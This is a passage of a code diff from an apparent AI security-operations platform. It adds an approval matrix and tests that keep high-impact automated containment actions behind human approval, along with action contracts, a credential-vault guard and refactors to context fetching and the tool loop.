+ f"that the effect landed, which is how a SOC comes to believe a "
+ f"host is contained when it is not"
+ )
+
+ if not cls.supports_dry_run and approval != ApprovalRequirement.PROHIBITED:
+ problems.append("action does not support dry_run, so it cannot be previewed or " "exercised in copilot mode")
+
+ if cls.parameters_schema and not isinstance(cls.parameters_schema, dict):
+ problems.append("parameters_schema must be a JSON-schema object")
+
+ return problems
diff --git a/services/actions/app/live_actions/executor.py b/services/actions/app/live_actions/executor.py
index d3f2f358b..72a33e520 100644
--- a/services/actions/app/live_actions/executor.py
+++ b/services/actions/app/live_actions/executor.py
@@ -14,23 +14,32 @@ it has three deliberate differences:
:class:`LiveActionResult` — both new types decoupled from
``ActionType``. Plugin authors don't have to add a member to an enum
they don't own.
-3. Rollback is intentionally omitted from this layer. The classic
- approval/rollback workflow lives in ``services/actions/app/api/router.py``
- and operates on the legacy ``ActionRequest``/``ActionResult`` pair.
- The live-action surface is a pure execution primitive; if a future
- workstream needs reversible live actions we'll add an optional
- ``rollback()`` hook then, rather than forcing every plugin author to
- stub it out today.
+3. Every executor declares its contract: what it does to the estate if
+ the finding is wrong, who must approve it, which permission the caller
+ needs, which capability undoes it, and whether a probe exists to verify
+ the effect landed. See :mod:`app.live_actions.contract`.
+
+ These were previously inferred elsewhere or not at all — risk from the
+ capability name in one place and a policy table in another, reversibility
+ from a hardcoded list of four actions, and verification not at all. The
+ gap between "the API returned 200" and "the host is actually contained"
+ is how a SOC comes to believe it responded when it did not.
+
+ Defaults are deliberately unsafe: an executor that declares nothing is
+ treated as irreversible and prohibited, so the omission fails closed and
+ ``scripts/check_action_contract.py`` names it, rather than the action
+ quietly defaulting to auto-executable.
"""
from __future__ import annotations
from abc import ABC, abstractmethod
+from .contract import ActionContract
from .models import LiveActionRequest, LiveActionResult
-class LiveActionExecutor(ABC):
+class LiveActionExecutor(ActionContract, ABC):
"""Single-vendor, single-capability action executor."""
#: Connector / vendor ID this executor talks to (e.g. ``"crowdstrike"``).
diff --git a/services/actions/app/security/credential_vault.py b/services/actions/app/security/credential_vault.py
index 583113893..eb976dd2a 100644
--- a/services/actions/app/security/credential_vault.py
+++ b/services/actions/app/security/credential_vault.py
@@ -27,6 +27,11 @@ logger = logging.getLogger("aisoc.actions.credential_vault")
# plaintext on the decrypt path. Must match the API service's prefix byte-for-byte.
_CIPHER_PREFIX: Final[str] = "vault:v1:"
+# Envelope tokens are written only by services/api, which owns the key
+# manager. This read-path copy recognises them so it can refuse them
+# rather than pass the ciphertext through as plaintext.
+_ENVELOPE_PREFIX = "vault:v2:"
+
class CredentialVaultError(RuntimeError):
"""Raised when the vault cannot encrypt/decrypt safely."""
@@ -67,6 +72,19 @@ class CredentialVault:
def decrypt(self, value: str) -> str:
if not isinstance(value, str):
raise CredentialVaultError(f"vault.decrypt expects str, got {type(value).__name__}")
+ # A vault:v2 envelope token cannot be read here: this is a vendored
+ # read-path copy and only services/api holds the envelope key
+ # manager. Falling through the plaintext branch below would hand the
+ # ciphertext to a vendor API as if it were the credential, producing
+ # an auth failure that looks like a customer configuration problem.
+ # Fail closed and say which service can read it.
+ if value.startswith(_ENVELOPE_PREFIX):
+ raise CredentialVaultError(
+ "this credential is envelope-encrypted (vault:v2) and cannot be "
+ "decrypted by this service; only services/api holds the key "
+ "manager. Either disable AISOC_CREDENTIAL_ENVELOPE or route the "
+ "read through the API."
+ )
if not value.startswith(_CIPHER_PREFIX):
return value
token = value[len(_CIPHER_PREFIX) :].encode("ascii")
diff --git a/services/actions/app/services/approval_matrix.py b/services/actions/app/services/approval_matrix.py
new file mode 100644
index 000000000..8d9277c13
--- /dev/null
+++ b/services/actions/app/services/approval_matrix.py
@@ -0,0 +1,229 @@
+"""Approval as a function of confidence *and* impact, not autonomy tier alone.
+
+The L0–L4 ladder answers "how much is this tenant willing to automate". It
+does not answer "is this particular action safe at this particular
+confidence", and treating one as the other produces both failure modes:
+enriching an IOC blocked behind an approval queue because the tier is low,
+and isolating a production database server auto-executed because the tier is
+high and the model said 94%.
+
+The matrix is the second axis. Every decision needs both:
+
+ enrich an IOC any confidence automatic
+ search endpoints any confidence automatic
+ block a known-bad hash >= 99% automatic
+ kill a process >= 98% policy (tier decides)
+ disable an account >= 99% analyst approval
+ isolate a production host any confidence mandatory human
+ delete a cloud resource any confidence prohibited
+
+Two properties are non-negotiable and are asserted in tests:
+
+**The matrix can only raise a requirement, never lower it.** If either the
+action's declared contract or the confidence threshold says a human is
+needed, a human is needed. An autonomy tier of L4 does not override an
+action declared MANDATORY_HUMAN, and high confidence does not override an
+IRREVERSIBLE impact.
+
+**Missing confidence is not high confidence.** An action arriving with no
+confidence score is treated as the lowest band. The alternative — defaulting
+to permissive — means a scoring bug becomes an autonomous action.
+"""
+
+from __future__ import annotations
+
+import logging
+from dataclasses import dataclass
+
+from app.live_actions.contract import (
+ NEVER_AUTONOMOUS,
+ ActionImpact,
+ ApprovalRequirement,
+)
+
+logger = logging.getLogger("aisoc.approval_matrix")
+
+#: Confidence floor per impact tier for a *fully automatic* execution.
+#: Below the floor, the action drops to analyst approval.
+#:
+#: The numbers are deliberately steep. The cost of an unnecessary approval is
+#: a few minutes of analyst time; the cost of a wrong autonomous containment
+#: is an outage plus the trust needed to ever enable autonomy again.
+AUTOMATIC_CONFIDENCE_FLOOR: dict[ActionImpact, float] = {
+ ActionImpact.READ_ONLY: 0.0,
+ ActionImpact.LOW: 0.90,
+ ActionImpact.MODERATE: 0.98,
+ ActionImpact.HIGH: 0.99,
+ # SEVERE and IRREVERSIBLE are absent on purpose: no floor exists because
+ # no confidence makes them automatic. Encoded in NEVER_AUTONOMOUS rather
+ # than as an unreachable threshold like 1.01, which invites someone to
+ # "just lower it a bit".
+}
+
+#: Autonomy tiers, lowest to highest. Mirrors the L0–L4 ladder.
+TIER_ORDER = ("L0", "L1", "L2", "L3", "L4")
+
+#: The highest impact each tier may execute without an analyst, *given* the
+#: confidence floor above is also met.
+TIER_MAX_AUTOMATIC: dict[str, ActionImpact | None] = {
+ "L0": None, # observe only
+ "L1": None, # recommend only
+ "L2": ActionImpact.READ_ONLY,
+ "L3": ActionImpact.MODERATE, # reversible actions
+ "L4": ActionImpact.HIGH, # bounded response; never SEVERE or IRREVERSIBLE
+}
+
+_IMPACT_ORDER = (
+ ActionImpact.READ_ONLY,
+ ActionImpact.LOW,
+ ActionImpact.MODERATE,
+ ActionImpact.HIGH,
+ ActionImpact.SEVERE,
+ ActionImpact.IRREVERSIBLE,
+)
+
+
+def _impact_rank(impact: ActionImpact) -> int:
+ return _IMPACT_ORDER.index(impact)
+
+
+@dataclass(frozen=True)
+class ApprovalDecision:
+ """What must happen before this action runs, and why.
+
+ ``reason`` is not decoration. It is shown to the analyst in the approval
+ queue and written to the audit trail, and "requires approval" without a
+ reason is the kind of prompt people learn to click through.
+ """
+
+ requirement: ApprovalRequirement
+ reason: str
+ impact: ActionImpact
+ confidence: float
+ tier: str
+
+ @property
+ def can_auto_execute(self) -> bool:
+ return self.requirement == ApprovalRequirement.AUTOMATIC
+
+ @property
+ def is_blocked(self) -> bool:
+ return self.requirement == ApprovalRequirement.PROHIBITED
+
+
+def evaluate(
+ *,
+ impact: ActionImpact,
+ declared_approval: ApprovalRequirement,
+ confidence: float | None,
+ tier: str,
+) -> ApprovalDecision:
+ """Combine the action's contract, the finding's confidence and the tenant's tier.
+
+ The result is the *most restrictive* of the three. Each input can raise
+ the requirement; none can lower it.
+ """
+ # Missing confidence is the lowest band, not a free pass. Defaulting
+ # permissive would turn a scoring bug into an autonomous action.
+ score = 0.0 if confidence is None else max(0.0, min(1.0, float(confidence)))
+ tier = tier if tier in TIER_ORDER else "L0"
+
+ if declared_approval == ApprovalRequirement.PROHIBITED:
+ return ApprovalDecision(
+ requirement=ApprovalRequirement.PROHIBITED,
+ reason=(
+ "This action is declared prohibited by its own contract. No "
+ "autonomy tier or confidence level executes it from the platform."
+ ),
+ impact=impact,
+ confidence=score,
+ tier=tier,
+ )
+
+ if impact in NEVER_AUTONOMOUS:
+ requirement = ApprovalRequirement.PROHIBITED if impact == ActionImpact.IRREVERSIBLE else ApprovalRequirement.MANDATORY_HUMAN
+ return ApprovalDecision(
+ requirement=requirement,
+ reason=(
+ f"Impact is {impact.value}: "
+ + (
+ "the action cannot be undone, so the platform does not execute it."
+ if impact == ActionImpact.IRREVERSIBLE
+ else "a human must approve regardless of confidence " f"({score:.0%}) or autonomy tier ({tier})."
+ )
+ ),
+ impact=impact,
+ confidence=score,
+ tier=tier,
+ )
+
+ if declared_approval == ApprovalRequirement.MANDATORY_HUMAN:
+ return ApprovalDecision(
+ requirement=ApprovalRequirement.MANDATORY_HUMAN,
+ reason=(f"The action's contract requires a human regardless of confidence " f"({score:.0%}) or autonomy tier ({tier})."),
+ impact=impact,
+ confidence=score,
+ tier=tier,
+ )
+
+ ceiling = TIER_MAX_AUTOMATIC.get(tier)
+ if ceiling is None:
+ return ApprovalDecision(
+ requirement=ApprovalRequirement.ANALYST,
+ reason=(f"Autonomy tier {tier} does not auto-execute any action; this is a " f"recommendation for an analyst to approve."),
+ impact=impact,
+ confidence=score,
+ tier=tier,
+ )
+
+ if _impact_rank(impact) > _impact_rank(ceiling):
+ return ApprovalDecision(
+ requirement=ApprovalRequirement.ANALYST,
+ reason=(f"Autonomy tier {tier} auto-executes up to {ceiling.value} impact; " f"this action is {impact.value}."),
+ impact=impact,
+ confidence=score,
+ tier=tier,
+ )
+
+ floor = AUTOMATIC_CONFIDENCE_FLOOR.get(impact)
+ if floor is None:
+ # Defensive: an impact tier with no floor and not in NEVER_AUTONOMOUS
+ # means the two tables disagree. Fail closed rather than guess.
+ logger.warning("approval_matrix.no_floor impact=%s", impact.value)
+ return ApprovalDecision(
+ requirement=ApprovalRequirement.ANALYST,
+ reason=f"No confidence floor is defined for {impact.value} impact.",
+ impact=impact,
+ confidence=score,
+ tier=tier,
+ )
+
+ if score < floor:
+ return ApprovalDecision(
+ requirement=ApprovalRequirement.ANALYST,
+ reason=(f"Confidence {score:.0%} is below the {floor:.0%} floor for " f"{impact.value}-impact actions."),
+ impact=impact,
+ confidence=score,
+ tier=tier,
+ )
+
+ if declared_approval == ApprovalRequirement.ANALYST:
+ return ApprovalDecision(
+ requirement=ApprovalRequirement.ANALYST,
+ reason=(f"The action's contract requires analyst approval even at " f"{score:.0%} confidence."),
+ impact=impact,
+ confidence=score,
+ tier=tier,
+ )
+
+ return ApprovalDecision(
+ requirement=ApprovalRequirement.AUTOMATIC,
+ reason=(
+ f"{impact.value} impact at {score:.0%} confidence clears the {floor:.0%} "
+ f"floor, and tier {tier} permits automatic execution up to "
+ f"{ceiling.value}."
+ ),
+ impact=impact,
+ confidence=score,
+ tier=tier,
+ )
diff --git a/services/actions/tests/test_approval_matrix.py b/services/actions/tests/test_approval_matrix.py
new file mode 100644
index 000000000..459848275
--- /dev/null
+++ b/services/actions/tests/test_approval_matrix.py
@@ -0,0 +1,174 @@
+"""Approval must be a function of confidence *and* impact, and only ever stricter.
+
+The L0-L4 ladder answers "how much is this tenant willing to automate". It
+does not answer "is this action safe at this confidence", and treating one as
+the other produces both failure modes: an IOC enrichment stuck in an approval
+queue because the tier is low, and a production database server isolated
+autonomously because the tier is high and the model said 94%.
+
+The property these tests defend is one-directional: each of the three inputs
+— the action's declared contract, the confidence score, the tenant's tier —
+can raise the requirement, and none can lower it. Every way of lowering it is
+a way of executing something nobody approved.
+"""
+
+from __future__ import annotations
+
+import pytest
+from app.live_actions.contract import ActionImpact, ApprovalRequirement
+from app.services.approval_matrix import (
+ AUTOMATIC_CONFIDENCE_FLOOR,
+ TIER_MAX_AUTOMATIC,
+ evaluate,
+)
+
+AUTO = ApprovalRequirement.AUTOMATIC
+ANALYST = ApprovalRequirement.ANALYST
+HUMAN = ApprovalRequirement.MANDATORY_HUMAN
+BLOCKED = ApprovalRequirement.PROHIBITED
+
+
+class TestNothingLowersARequirement:
+ @pytest.mark.parametrize("tier", list(TIER_MAX_AUTOMATIC))
+ @pytest.mark.parametrize("impact", [ActionImpact.SEVERE, ActionImpact.IRREVERSIBLE])
+ def test_severe_and_irreversible_never_auto_execute(self, tier: str, impact: ActionImpact) -> None:
+ """No tier, no confidence. This is the floor autonomy cannot lift."""
+ decision = evaluate(impact=impact, declared_approval=AUTO, confidence=1.0, tier=tier)
+ assert not decision.can_auto_execute
+
+ def test_irreversible_is_prohibited_not_merely_gated(self) -> None:
+ """'Nobody may do this' and 'a human must approve' are different claims."""
+ decision = evaluate(impact=ActionImpact.IRREVERSIBLE, declared_approval=AUTO, confidence=1.0, tier="L4")
+ assert decision.requirement is BLOCKED
+ assert decision.is_blocked
+
+ def test_a_contract_demanding_a_human_survives_any_tier(self) -> None:
+ decision = evaluate(impact=ActionImpact.LOW, declared_approval=HUMAN, confidence=1.0, tier="L4")
+ assert decision.requirement is HUMAN
+
+ def test_a_prohibited_contract_survives_everything(self) -> None:
+ decision = evaluate(impact=ActionImpact.READ_ONLY, declared_approval=BLOCKED, confidence=1.0, tier="L4")
+ assert decision.requirement is BLOCKED
+
+ def test_an_analyst_contract_is_not_relaxed_by_high_confidence(self) -> None:
+ decision = evaluate(impact=ActionImpact.LOW, declared_approval=ANALYST, confidence=1.0, tier="L4")
+ assert decision.requirement is ANALYST
+
+
+class TestConfidence:
+ def test_missing_confidence_is_the_lowest_band_not_the_highest(self) -> None:
+ """Defaulting permissive turns a scoring bug into an autonomous action."""
+ decision = evaluate(impact=ActionImpact.MODERATE, declared_approval=AUTO, confidence=None, tier="L4")
+ assert not decision.can_auto_execute
+
+ def test_below_the_floor_drops_to_analyst(self) -> None:
+ floor = AUTOMATIC_CONFIDENCE_FLOOR[ActionImpact.MODERATE]
+ decision = evaluate(
+ impact=ActionImpact.MODERATE,
+ declared_approval=AUTO,
+ confidence=floor - 0.01,
+ tier="L4",
+ )
+ assert decision.requirement is ANALYST
+ assert f"{floor:.0%}" in decision.reason
+
+ def test_at_the_floor_is_sufficient(self) -> None:
+ floor = AUTOMATIC_CONFIDENCE_FLOOR[ActionImpact.MODERATE]
+ decision = evaluate(impact=ActionImpact.MODERATE, declared_approval=AUTO, confidence=floor, tier="L4")
+ assert decision.can_auto_execute
+
+ @pytest.mark.parametrize("value", [-5.0, -0.1, 1.5, 99.0])
+ def test_out_of_range_confidence_is_clamped_not_trusted(self, value: float) -> None:
+ decision = evaluate(impact=ActionImpact.READ_ONLY, declared_approval=AUTO, confidence=value, tier="L4")
+ assert 0.0 <= decision.confidence <= 1.0
+
+ def test_a_read_needs_no_confidence_at_all(self) -> None:
+ """Separating impact from confidence exists precisely for this case."""
+ decision = evaluate(impact=ActionImpact.READ_ONLY, declared_approval=AUTO, confidence=0.0, tier="L2")
+ assert decision.can_auto_execute
+
+ def test_the_steepness_is_intentional(self) -> None:
+ """A wrong autonomous containment costs more than an extra approval."""
+ assert AUTOMATIC_CONFIDENCE_FLOOR[ActionImpact.HIGH] >= 0.99
+ assert AUTOMATIC_CONFIDENCE_FLOOR[ActionImpact.MODERATE] >= 0.98
+ assert AUTOMATIC_CONFIDENCE_FLOOR[ActionImpact.LOW] < AUTOMATIC_CONFIDENCE_FLOOR[ActionImpact.MODERATE]
+
+
+class TestTiers:
+ @pytest.mark.parametrize("tier", ["L0", "L1"])
+ def test_observe_and_recommend_tiers_execute_nothing(self, tier: str) -> None:
+ decision = evaluate(impact=ActionImpact.READ_ONLY, declared_approval=AUTO, confidence=1.0, tier=tier)
+ assert not decision.can_auto_execute
+
+ def test_l2_reads_but_does_not_act(self) -> None:
+ assert evaluate(impact=ActionImpact.READ_ONLY, declared_approval=AUTO, confidence=1.0, tier="L2").can_auto_execute
+ assert not evaluate(impact=ActionImpact.LOW, declared_approval=AUTO, confidence=1.0, tier="L2").can_auto_execute
+
+ def test_l3_stops_below_high_impact(self) -> None:
+ assert evaluate(impact=ActionImpact.MODERATE, declared_approval=AUTO, confidence=1.0, tier="L3").can_auto_execute
+ assert not evaluate(impact=ActionImpact.HIGH, declared_approval=AUTO, confidence=1.0, tier="L3").can_auto_execute
+
+ def test_l4_reaches_high_but_no_further(self) -> None:
+ assert evaluate(impact=ActionImpact.HIGH, declared_approval=AUTO, confidence=1.0, tier="L4").can_auto_execute
+ assert not evaluate(impact=ActionImpact.SEVERE, declared_approval=AUTO, confidence=1.0, tier="L4").can_auto_execute
+
+ def test_an_unknown_tier_is_the_most_restrictive(self) -> None:
+ """A typo in a tenant's policy must not widen what it can do."""
+ decision = evaluate(impact=ActionImpact.READ_ONLY, declared_approval=AUTO, confidence=1.0, tier="L9")
+ assert not decision.can_auto_execute
+ assert decision.tier == "L0"
+
+
+class TestReasons:
+ """'Requires approval' with no reason is a prompt people click through."""
+
+ @pytest.mark.parametrize(
+ ("impact", "confidence", "tier"),
+ [
+ (ActionImpact.IRREVERSIBLE, 1.0, "L4"),
+ (ActionImpact.SEVERE, 1.0, "L4"),
+ (ActionImpact.HIGH, 0.5, "L4"),
+ (ActionImpact.HIGH, 1.0, "L3"),
+ (ActionImpact.READ_ONLY, 1.0, "L0"),
+ (ActionImpact.LOW, 1.0, "L4"),
+ ],
+ )
+ def test_every_decision_explains_itself(self, impact: ActionImpact, confidence: float, tier: str) -> None:
+ decision = evaluate(impact=impact, declared_approval=AUTO, confidence=confidence, tier=tier)
+ assert len(decision.reason) > 30
+ assert decision.reason.endswith(".")
+
+ def test_the_reason_names_what_blocked_it(self) -> None:
+ low_confidence = evaluate(impact=ActionImpact.HIGH, declared_approval=AUTO, confidence=0.5, tier="L4")
+ assert "confidence" in low_confidence.reason.lower()
+
+ low_tier = evaluate(impact=ActionImpact.HIGH, declared_approval=AUTO, confidence=1.0, tier="L3")
+ assert "tier" in low_tier.reason.lower()
+
+
+class TestTheWorkedExamples:
+ """The table from the plan, asserted rather than described."""
+
+ @pytest.mark.parametrize(
+ ("impact", "confidence", "expected"),
+ [
+ # enrich an IOC — any confidence, automatic
+ (ActionImpact.READ_ONLY, 0.0, AUTO),
+ # block a known-bad hash — high confidence, automatic
+ (ActionImpact.LOW, 0.99, AUTO),
+ (ActionImpact.LOW, 0.50, ANALYST),
+ # kill a process — very high confidence, tier decides
+ (ActionImpact.MODERATE, 0.99, AUTO),
+ (ActionImpact.MODERATE, 0.90, ANALYST),
+ # disable an account — high impact, analyst even at 99%
+ (ActionImpact.HIGH, 0.99, AUTO),
+ (ActionImpact.HIGH, 0.98, ANALYST),
+ # isolate a production server — mandatory human at any confidence
+ (ActionImpact.SEVERE, 1.0, HUMAN),
+ # delete a cloud resource — prohibited
+ (ActionImpact.IRREVERSIBLE, 1.0, BLOCKED),
+ ],
+ )
+ def test_at_the_highest_tier(self, impact: ActionImpact, confidence: float, expected: ApprovalRequirement) -> None:
+ decision = evaluate(impact=impact, declared_approval=AUTO, confidence=confidence, tier="L4")
+ assert decision.requirement is expected
diff --git a/services/agents/app/agents/investigation_agent.py b/services/agents/app/agents/investigation_agent.py
index aa958c633..b73f02597 100644
--- a/services/agents/app/agents/investigation_agent.py
+++ b/services/agents/app/agents/investigation_agent.py
@@ -14,6 +14,7 @@ import structlog
from app.agents.dispositions import BENIGN, BENIGN_TRUE_POSITIVE, FALSE_POSITIVE, NEEDS_REVIEW
from app.confidence import score_investigation
from app.context.bundle import ContextBundle
+from app.investigator.deep_investigation import run_deep_investigation
from app.investigator.splunk_evidence import collect_splunk_evidence
from app.models.state import ActionRisk, AgentStatus, InvestigationState, ProposedAction
from app.tools.mitre import lookup_technique
@@ -91,6 +92,23 @@ async def run_investigation(state: InvestigationState) -> InvestigationState:
for line in _bundle_findings(state.context_bundle):
state.add_finding(line)
+ # --- Recursive, tool-driven investigation ---
+ # Everything above is deterministic: it reasons over evidence already
+ # gathered. This is the part that goes and looks — the model pivots
+ # through the estate via the investigation toolset, following the
+ # strategy selected for this alert shape.
+ #
+ # Additive and fail-soft by construction. A deep investigation that
+ # errors, times out or is disabled leaves the deterministic findings
+ # untouched; it never removes a conclusion, only adds evidence for one.
+ deep = await run_deep_investigation(state)
+ for line in deep.findings():
+ state.add_finding(line)
+ # Recorded on the state so the depth gate can grade the run and the
+ # ledger can show what was actually checked, rather than the narrative
+ # being the only evidence that anything was.
+ state.investigation_depth = deep.as_dict()
+
# --- Generate narrative findings ---
if malicious_iocs:
state.add_finding(f"CONFIRMED THREAT: {len(malicious_iocs)} malicious IOC(s) identified. Immediate containment recommended.")
diff --git a/services/agents/app/agents/tool_loop.py b/services/agents/app/agents/tool_loop.py
index aba405ba1..54abcd6a8 100644
--- a/services/agents/app/agents/tool_loop.py
+++ b/services/agents/app/agents/tool_loop.py
@@ -1,80 +1,16 @@
-"""LLM tool-calling loop (Wave 4a).
+"""Re-export of the tool-calling loop, which now lives in ``app.llm``.
-A minimal, provider-agnostic ReAct loop: bind the registry's tools to the model,
-let the model choose which to call, execute the calls, feed results back, and
-repeat until the model answers without a tool call (or a cap is hit). This is
-the primitive that lets specialist agents *use tools* instead of reasoning over
-a single pre-serialised blob.
-
-Bounded + fail-soft: at most ``max_iters`` round-trips; tool errors come back to
-the model as structured results (via ToolRegistry.execute) rather than aborting.
+Kept so existing imports keep working. The implementation moved because
+importing it from here executes ``app/agents/__init__.py``, which imports
+every agent module — so an agent that wanted the loop imported itself.
"""
from __future__ import annotations
-import json
-from typing import Any
-
-import structlog
-from langchain_core.messages import AIMessage, HumanMessage, SystemMessage, ToolMessage
-
-from app.llm.contract import safe_ainvoke
-from app.tools.registry import ToolRegistry
-
-logger = structlog.get_logger()
-
-
-async def run_with_tools(
- llm: Any,
- *,
- system: str,
- user: str,
- registry: ToolRegistry,
- max_iters: int = 4,
-) -> dict[str, Any]:
- """Run a tool-calling conversation and return the final content + tool trace.
-
- Returns ``{"content": str, "tool_trace": [...], "iterations": int,
- "truncated": bool}``.
- """
- bound = llm.bind_tools(registry.openai_schemas())
- messages: list[Any] = [SystemMessage(content=system), HumanMessage(content=user)]
- trace: list[dict[str, Any]] = []
-
- for iteration in range(1, max_iters + 1):
- # Routed through safe_ainvoke rather than calling bound.ainvoke
- # directly. This loop feeds tool output straight back into the prompt,
- # and that output is untrusted: a SIEM row, a graph property or a
- # threat-intel record can carry text that reads as an instruction.
- # Skipping the contract here skipped injection validation on precisely
- # the highest-risk content in the system, and lost the token/cost
- # telemetry for every tool-calling turn.
- response = await safe_ainvoke(bound, messages)
- messages.append(response)
- tool_calls = getattr(response, "tool_calls", None) or []
- if not tool_calls:
- return {
- "content": _content(response),
- "tool_trace": trace,
- "iterations": iteration,
- "truncated": False,
- }
- for call in tool_calls:
- name = call.get("name", "")
- args = call.get("args", {}) or {}
- call_id = call.get("id", "") or ""
- result = await registry.execute(name, args)
- trace.append({"tool": name, "args": args, "result_preview": str(result)[:200]})
- messages.append(ToolMessage(content=json.dumps(result, default=str)[:4000], tool_call_id=call_id))
-
- logger.info("tool_loop.truncated", iterations=max_iters, tools_called=len(trace))
- return {"content": _content(messages[-1]), "tool_trace": trace, "iterations": max_iters, "truncated": True}
-
+from app.llm.tool_loop import _content, run_with_tools
-def _content(message: Any) -> str:
- content = getattr(message, "content", "")
- if isinstance(content, str):
- return content
- if isinstance(content, AIMessage): # pragma: no cover - defensive
- return str(content.content)
- return str(content)
+# Deliberately only the public callables. Re-exporting module internals
+# such as ``safe_ainvoke`` would let a test monkey-patch this name and
+# pass while patching nothing, since the loop resolves it from its own
+# module. Patch app.llm.tool_loop instead.
+__all__ = ["run_with_tools", "_content"]
diff --git a/services/agents/app/context/bundle.py b/services/agents/app/context/bundle.py
index 1b41f28e5..92bdfab1b 100644
--- a/services/agents/app/context/bundle.py
+++ b/services/agents/app/context/bundle.py
@@ -35,6 +35,7 @@ from datetime import UTC, datetime
from typing import Any
from uuid import UUID, uuid4
+import httpx
import structlog
from pydantic import BaseModel, Field
@@ -263,6 +264,38 @@ LLM_SAFE_KEYS = (
)
+class IncidentContextDimensions(BaseModel):
+ """Identity, asset, cloud, business and threat context for the alert.
+
+ Distinct from ``entity_neighborhoods``, which answers "what is reachable"
+ as an undifferentiated node set. This answers "what does it mean": which
+ person is behind the account, what is exploitable on the host, which
+ business application it serves, who is accountable, and which actor the
+ indicators point at. A narrative and a prompt both need the dimensions
+ kept apart; a node set makes the caller re-derive them.
+ """
+
+ identities: list[dict[str, Any]] = Field(default_factory=list)
+ assets: list[dict[str, Any]] = Field(default_factory=list)
+ cloud: list[dict[str, Any]] = Field(default_factory=list)
+ business: list[dict[str, Any]] = Field(default_factory=list)
+ threat: list[dict[str, Any]] = Field(default_factory=list)
+ narrative: list[str] = Field(default_factory=list)
+ # True when some dimensions could not be read. Without this an agent
+ # cannot distinguish "this alert has no context" from "we could not
+ # look", and will reason as though the first were true.
+ partial: bool = False
+ errors: list[str] = Field(default_factory=list)
+
+ @property
+ def dimensions_resolved(self) -> int:
+ return sum(1 for d in (self.identities, self.assets, self.cloud, self.business, self.threat) if d)
+
+ @property
+ def has_content(self) -> bool:
+ return self.dimensions_resolved > 0
+
+
class ContextBundle(BaseModel):
"""Pre-fetched, structured context handed to every sub-agent."""
@@ -276,6 +309,7 @@ class ContextBundle(BaseModel):
entity_neighborhoods: dict[str, EntityNeighborhood] = Field(default_factory=dict)
peer_baselines: dict[str, UEBABaseline] = Field(default_factory=dict)
threat_intel: dict[str, ThreatIntelMatch] = Field(default_factory=dict)
+ incident_context: IncidentContextDimensions = Field(default_factory=IncidentContextDimensions)
# Memory (institutional tier) recall.
historical_similar_cases: list[HistoricalCase] = Field(default_factory=list)
@@ -300,7 +334,13 @@ class ContextBundle(BaseModel):
Used by sub-agents to decide whether to short-circuit to the
bundle-aware prompt or fall back to bare-alert reasoning.
"""
- return bool(self.entity_neighborhoods or self.peer_baselines or self.threat_intel or self.historical_similar_cases)
+ return bool(
+ self.entity_neighborhoods
+ or self.peer_baselines
+ or self.threat_intel
+ or self.historical_similar_cases
+ or self.incident_context.has_content
+ )
def prompt_context_lines(self) -> list[str]:
"""Render the bundle's safe summary fields as prompt-ready lines.
@@ -311,7 +351,12 @@ class ContextBundle(BaseModel):
Only fields enumerated by ``summary_for_llm`` are surfaced — never
raw OCSF or log payloads.
"""
- if not self.has_any_context:
+ # A bundle with no content but a failed context lookup still has
+ # something to say. Returning [] here meant the one case worth
+ # warning about — we tried to resolve identity, asset and business
+ # context and could not — reached the model as silence, which reads
+ # the same as "this alert has no context".
+ if not self.has_any_context and not self.incident_context.partial:
return []
s = self.summary_for_llm()
parts: list[str] = ["", "Pre-fetched investigation context (ContextBundle):"]
@@ -341,6 +386,24 @@ class ContextBundle(BaseModel):
f"- Threat-intel matches: {s['threat_intel_match_count']} "
f"(high-risk IOCs: {', '.join(s.get('threat_intel_high_risk_iocs') or []) or 'none'})"
)
+
+ # Identity, asset, cloud, business and threat depth. Rendered last
+ # and rendered verbatim: the API composes these lines, and
+ # re-summarising them here would drop the qualifiers that keep them
+ # honest — an unconfirmed attribution, a partial lookup, a departed
+ # employee whose account is still live.
+ ctx = self.incident_context
+ if ctx.narrative:
+ parts.append("- Entity context:")
+ parts.extend(f" {line}" for line in ctx.narrative)
+ elif ctx.partial:
+ # No content *and* a failed lookup. Saying nothing here would
+ # let the model read absence of context as absence of risk.
+ parts.append(
+ "- Entity context: unavailable (" + ", ".join(ctx.errors) + "). Treat missing identity/asset/business context as unknown, "
+ "not as benign."
+ )
+
return parts
def summary_for_llm(self) -> dict[str, Any]:
@@ -503,10 +566,15 @@ class ContextBundleBuilder:
self._fetch_threat_intel(bundle.entities),
bundle,
),
+ self._safe(
+ "incident_context",
+ self._fetch_incident_context(tenant_id, raw_alert),
+ bundle,
+ ),
return_exceptions=False,
)
- neigh_result, history_result, ueba_result, ti_result = results
+ neigh_result, history_result, ueba_result, ti_result, ctx_result = results
if isinstance(neigh_result, dict):
bundle.entity_neighborhoods = neigh_result
if isinstance(history_result, list):
@@ -515,6 +583,8 @@ class ContextBundleBuilder:
bundle.peer_baselines = ueba_result
if isinstance(ti_result, dict):
bundle.threat_intel = ti_result
+ if isinstance(ctx_result, IncidentContextDimensions):
+ bundle.incident_context = ctx_result
bundle.build_completed_at = datetime.now(UTC)
bundle.build_latency_ms = int((time.monotonic() - t0) * 1000)
@@ -625,11 +695,6 @@ class ContextBundleBuilder:
entities: list[EntityRef],
) -> dict[str, UEBABaseline]:
"""Pull per-entity UEBA baselines from the UEBA service."""
- try:
- import httpx # type: ignore
- except Exception as exc: # noqa: BLE001
- raise RuntimeError(f"httpx unavailable: {exc}") from exc
-
ueba_url = os.getenv("AISOC_UEBA_URL", "http://ueba:8086")
principals = [e for e in entities if e.type in ("user", "email", "host", "ip")]
if not principals:
@@ -680,6 +745,47 @@ class ContextBundleBuilder:
self._record_source("ueba")
return out
+ async def _fetch_incident_context(
+ self,
+ tenant_id: str,
+ raw_alert: dict[str, Any],
+ ) -> IncidentContextDimensions:
+ """Resolve the alert into identity, asset, cloud, business and threat.
+
+ Delegated to the API rather than queried here: the API owns the Neo4j
+ session and the tenant-scoping predicate, and duplicating a Cypher
+ traversal whose correctness is a security property in a second
+ service is how the two drift apart.
+ """
+ alert_id = raw_alert.get("id") or raw_alert.get("alert_id") or raw_alert.get("external_id")
+ if not alert_id:
+ self._record_source("incident_context")
+ return IncidentContextDimensions()
+
+ api_url = os.getenv("AISOC_API_URL", "http://api:8000")
+ async with httpx.AsyncClient(timeout=self.per_source_timeout) as client:
+ response = await client.get(
+ f"{api_url}/api/v1/graph/incident-context/{alert_id}",
+ headers={"X-Tenant-ID": tenant_id},
+ )
+ response.raise_for_status()
+ payload = response.json()
+
+ self._record_source("incident_context")
+ if not isinstance(payload, dict):
+ return IncidentContextDimensions()
+
+ return IncidentContextDimensions(
+ identities=payload.get("identities") or [],
